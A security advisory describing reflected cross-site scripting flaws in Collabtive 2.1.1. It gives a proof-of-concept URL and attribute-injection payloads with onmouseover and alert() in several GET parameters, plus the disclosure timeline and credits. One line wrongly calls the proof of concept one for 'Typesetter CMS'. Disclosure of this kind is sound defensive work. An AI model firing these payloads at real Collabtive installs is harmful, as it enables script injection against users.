Multiple Reflected XSS Vulnerabilities in Collabtive 2.1.1


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in Collabtive
Affected Software: Collabtive
Affected Versions: 2.1.1
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-001

Technical Details

Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL: /collabtive/manageajax.php?action=newcal&y=x'"%20onmouseover=alert(9)%20&m=5
Parameter Name: y
Parameter Type: GET
Attack Pattern: '"%20onmouseover=alert(9)%20

Parameter Name: theday, themonth, theyear
Parameter Type: GET
Attack Pattern: "%20onmouseover=alert(1)%20value="15

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

30 Jun 2016 – Issue reported
08 Sep 2016 – Vendor fixed
16 Jan 2017 – Advisory released


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Credits & Authors

This issue has been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

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